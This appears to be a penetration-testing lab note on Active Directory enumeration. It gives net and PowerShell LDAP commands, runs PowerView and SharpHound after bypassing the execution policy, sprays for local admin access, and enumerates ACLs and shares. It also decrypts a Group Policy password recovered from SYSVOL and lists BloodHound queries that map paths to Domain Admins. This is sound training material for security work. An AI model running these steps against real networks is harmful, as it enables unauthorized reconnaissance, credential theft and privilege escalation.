AD Enumeration

Manual Enumeration:

Print all users in domain AD:

net user /domain

User info:

net user daveadmin /domain

Group list:

net group /domain

Group members

net group "Sales Department" /domain

The LDAP path's prototype looks like this:

LDAP://HostName[:PortNumber][/DistinguishedName]

To invoke the Domain Class and the GetCurrentDomain method, we'll run the following command in PowerShell:

PS C:\Users\stephanie> 
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()

Enumeraton Script:

First Run the following to bypass powershell execution policy:

powershell -ep bypass

Save the following into a ps (function.ps1) script:

#Function to do searches
function LDAPSearch {
    param (
        [string]$LDAPQuery
    )

    $PDC = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().PdcRoleOwner.Name
    $DistinguishedName = ([adsi]'').distinguishedName

    $DirectoryEntry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$PDC/$DistinguishedName")

    $DirectorySearcher = New-Object System.DirectoryServices.DirectorySearcher($DirectoryEntry, $LDAPQuery)

    return $DirectorySearcher.FindAll()

}

Then run the script:

Import-Module .\function.ps1

Then use this to search:

LDAPSearch -LDAPQuery "(samAccountType=805306368)"
LDAPSearch -LDAPQuery "(objectclass=group)"
$sales = LDAPSearch -LDAPQuery "(&(objectCategory=group)(cn=Sales Department))"

Now that we only have one object in our variable, we can simply print the member attribute directly:

PS C:\Users\stephanie\Desktop> $sales.properties.member

Now that we know the Development Department is a member of the Sales Department, let's enumerate it:

PS C:\Users\stephanie> $group = LDAPSearch -LDAPQuery "(&(objectCategory=group)(cn=Development Department*))"

PS C:\Users\stephanie> $group.properties.member

Based on the output above, we have another case of a nested group since Management Department is a member of Development Department. Let's check this group as well:

PS C:\Users\stephanie\Desktop> $group = LDAPSearch -LDAPQuery "(&(objectCategory=group)(cn=Management Department*))"

PS C:\Users\stephanie\Desktop> $group.properties.member

Using Powervew:

Powerview here: https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1

Download:

Invoke-WebRequest -Uri "https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1" -OutFile "$env:USERPROFILE\Downloads\PowerView.ps1"

Functions: https://powersploit.readthedocs.io/en/latest/Recon/

Import it:

powershell -ep bypass
Import-Module .\PowerView.ps1
Get-NetDomain
Get-NetUser
Get-NetUser | select cn
Get-NetUser | select cn,pwdlastset,lastlogon
Get-NetGroup | select cn
Get-NetGroup "Sales Department" | select member
#Get-NetComputer PowerView command to enumerate the computer objects in the domain.
Get-NetComputer
Get-NetComputer | select operatingsystem,dnshostname

PowerView's Find-LocalAdminAccess command scans the network to determine if our current user has administrative permissions on any computers in the domain. The command relies on the OpenServiceW function, which will connect to the Service Control Manager (SCM) on the target machines. The SCM essentially maintains a database of installed services and drivers on Windows computers. PowerView will attempt to open this database with the SC_MANAGER_ALL_ACCESS access right, which require administrative privileges, and if the connection is successful, PowerView will deem that our current user has administrative privileges on the target machine.

Let's run Find-LocalAdminAccess against corp.com. While the command supports parameters such as Computername and Credentials, we will run it without parameters in this case since we are interested in enumerating all computers, and we are already logged in as stephanie. In other words, we are spraying the environment to find possible local administrative access on computers under the current user context.

Find-LocalAdminAccess

PowerView's Get-NetSession command uses the NetWkstaUserEnum and NetSessionEnum APIs under the hood. Let's try running it against some of the machines in the domain and see if we can find any logged in users:

Get-NetSession -ComputerName client74

In a real-world engagement, or even in the Challenge Labs, we might accept that enumerating sessions with PowerView does not work and try to use a different tool. However, let's use this as a learning opportunity and take a deeper dive into the NetSessionEnum API and try to figure out exactly why it does not work in our case.

According to the documentation for NetSessionEnum, there are five possible query levels: 0,1,2,10,502. Level 0 only returns the name of the computer establishing the session. Levels 1 and 2 return more information but require administrative privileges.

This leaves us with Levels 10 and 502. Both should return information such as the name of the computer and name of the user establishing the connection. By default, PowerView uses query level 10 with NetSessionEnum, which should give us the information we are interested in.

The permissions required to enumerate sessions with NetSessionEnum are defined in the SrvsvcSessionInfo registry key, which is located in the HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\DefaultSecurity hive.

We'll use the Windows 11 machine we are currently logged in on to check the permissions. Although it may have different permissions than the other machines in the environment, it may give us an idea of what is going on.

In order to view the permissions, we'll use the PowerShell Get-Acl cmdlet. This command will essentially retrieve the permissions for the object we define with the -Path flag and print them in our PowerShell prompt.

Get-Acl -Path HKLM:SYSTEM\CurrentControlSet\Services\LanmanServer\DefaultSecurity\ | fl

The highlighted output in Listing 49 reveals the groups and users that have either FullControl or ReadKey, meaning they can all read the SrvsvcSessionInfo key itself.

However, the BUILTIN group, NT AUTHORITY group, CREATOR OWNER and APPLICATION PACKAGE AUTHORITY are defined by the system, and do not allow NetSessionEnum to enumerate this registry key from a remote standpoint.

The long string in the end of the output is, according to Microsoft's documentation, a capability SID. In fact, the documentation refers to the exact SID in our output.

A capability SID is an unforgeable token of authority that grants a Windows component or a Universal Windows Application access to various resources. However, it will not give us remote access to the registry key of interest.

In older Windows versions (which Microsoft does not specify), Authenticated Users were allowed to access the registry hive and obtain information from the SrvsvcSessionInfo key. However, following the least privilege principle, regular domain users should not be able to acquire this information within the domain, which is likely part of the reason the permissions for the registry hive changed as well. In this case, due to permissions, we can be certain that NetSessionEnum will not be able to obtain this type of information on default Windows 11.

PsLoggedOn

Fortunately there are other tools we can use, such as the PsLoggedOn application from the SysInternals Suite. The documentation states that PsLoggedOn will enumerate the registry keys under HKEY_USERS to retrieve the security identifiers (SID) of logged-in users and convert the SIDs to usernames. PsLoggedOn will also use the NetSessionEnum API to see who is logged on to the computer via resource shares.

One limitation, however, is that PsLoggedOn relies on the Remote Registry service to scan the associated key. The Remote Registry service has not been enabled by default on Windows workstations since Windows 8, but system administrators may enable it for various administrative tasks, for backwards compatibility, or for installing monitoring/deployment tools, scripts, agents, etc.

It is also enabled by default on later Windows Server Operating Systems such as Server 2012 R2, 2016 (1607), 2019 (1809), and Server 2022 (21H2). If it is enabled, the service will stop after ten minutes of inactivity to save resources, but it will re-enable (with an automatic trigger) once we connect with PsLoggedOn.

With the theory out of the way for now, let's try to run PsLoggedOn against the computers we attempted to enumerate earlier, starting with FILES04 and WEB04. PsLoggedOn is in C:\Tools\PSTools on CLIENT75. To use it, we'll simply run it with the target hostname:

.\PsLoggedon.exe \\files04

Enumerate SPNs:

Get-NetUser -SPN | select samaccountname,serviceprincipalname
# iis_service is username
setspn -L iis_service

Enumerating Object Permissions:

In short, an object in AD may have a set of permissions applied to it with multiple Access Control Entries (ACE). These ACEs make up the Access Control List (ACL). Each ACE defines whether access to the specific object is allowed or denied.

As a very basic example, let's say a domain user attempts to access a domain share (which is also an object). The targeted object, in this case the share, will then go through a validation check based on the ACL to determine if the user has permissions to the share. This ACL validation involves two main steps. To access the share, the user will send an access token, which consists of the user identity and permissions. The target object will then validate the token against the list of permissions (the ACL). If the ACL allows the user to access the share, access is granted. Otherwise, the request is denied.

AD includes a wealth of permission types that can be used to configure an ACE. However, from an attacker's standpoint, we are mainly interested in a few key permission types. Here's a list of the most interesting ones along with a description of the permissions they provide:

GenericAll: Full permissions on object
GenericWrite: Edit certain attributes on the object
WriteOwner: Change ownership of the object
WriteDACL: Edit ACE's applied to object
AllExtendedRights: Change password, reset password, etc.
ForceChangePassword: Password change for object
Self (Self-Membership): Add ourselves to for example a group

The Microsoft documentation lists other permissions and describes each in more detail.

We can use Get-ObjectAcl to enumerate ACEs with PowerView. To get started, let's enumerate our own user to determine which ACEs are applied to it. We can do this by filtering on -Identity:

Get-ObjectAcl -Identity stephanie
Convert-SidToName S-1-5-21-1987370270-658905905-1781884369-553

We can continue to use Get-ObjectAcl and select only the properties we are interested in, namely ActiveDirectoryRights and SecurityIdentifier. While the ObjectSID is nice to have, we don't need it when we are enumerating specific objects in AD since it will only contain the SID for the object, we are in fact enumerating.

Although we should enumerate all objects the domain, let's start with the Management Department group for now. We will check if any users have GenericAll permissions.

To generate clean and manageable output, we'll use the PowerShell -eq flag to filter the ActiveDirectoryRights property, only displaying the values that equal GenericAll. We'll then pipe the results into select, only displaying the SecurityIdentifier and ActiveDirectoryRights properties:

Get-ObjectAcl -Identity "Management Department" | ? {$_.ActiveDirectoryRights -eq "GenericAll"} | select SecurityIdentifier,ActiveDirectoryRights

Convert SID in Bulk:

"S-1-5-21-1987370270-658905905-1781884369-512","S-1-5-21-1987370270-658905905-1781884369-1104","S-1-5-32-548","S-1-5-18","S-1-5-21-1987370270-658905905-1781884369-519" | Convert-SidToName

Enumerating Domain Shares

We'll use PowerView's Find-DomainShare function to find the shares in the domain. We could also add the -CheckShareAccess flag to display shares only available to us. However, we'll skip this flag for now to return a full list, including shares we may target later. Note that it may take a few moments for PowerView to find the shares and list them.

Find-DomainShare

In this instance, we'll first focus on SYSVOL, as it may include files and folders that reside on the domain controller itself. This share is typically used for various domain policies and scripts. By default, the SYSVOL folder is mapped to %SystemRoot%\SYSVOL\Sysvol\domain-name on the domain controller and every domain user has access to it.

ls \\dc1.corp.com\sysvol\corp.com\
ls \\dc1.corp.com\sysvol\corp.com\Policies\
cat \\dc1.corp.com\sysvol\corp.com\Policies\oldpolicy\old-policy-backup.xml
gpp-decrypt "+bsY0V3d4/KgX3VJdO/vyepPfAN1zMFTiQDApgR92JE"

Escalating Privileges

Automated Enumeration - Bloodhound:

Download Sharphound:

Extract Sharphound.ps1

cd .\Downloads\
powershell -ep bypass
Import-Module .\Sharphound.ps1
Get-Help Invoke-BloodHound

Run All modules of Bloodhound:

Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Users\XXX\Desktop\ -OutputPrefix "corp audit" -ZipPassword MyPassword 

Go to Neo4j:

sudo neo4j start
http://localhost:7474

Username/Pass: neo4j/neo4j (changed to 123456)

Run Bloodhound DB on Kali:

bloodhound

Then upload the data in a zip file

Then Explorer towards objective. Also Mark each machine/object owned as "Owned", so Bloodhound can show path from it.

Get all computer objects:

MATCH (m:Computer) RETURN m

Get all user Objects:

MATCH (m:User) RETURN m

Other Prebuilt Helpful queries:

  • Find Workstations where Domain Users can RDP

  • Find Servers where Domain Users can RDP

  • Find Computers where Domain Users are Local Admin

  • Shortest Path to Domain Admins from Owned Principals

Which user has session on what:

MATCH p = (c:Computer)-[:HasSession]->(m:User) RETURN p

Last updated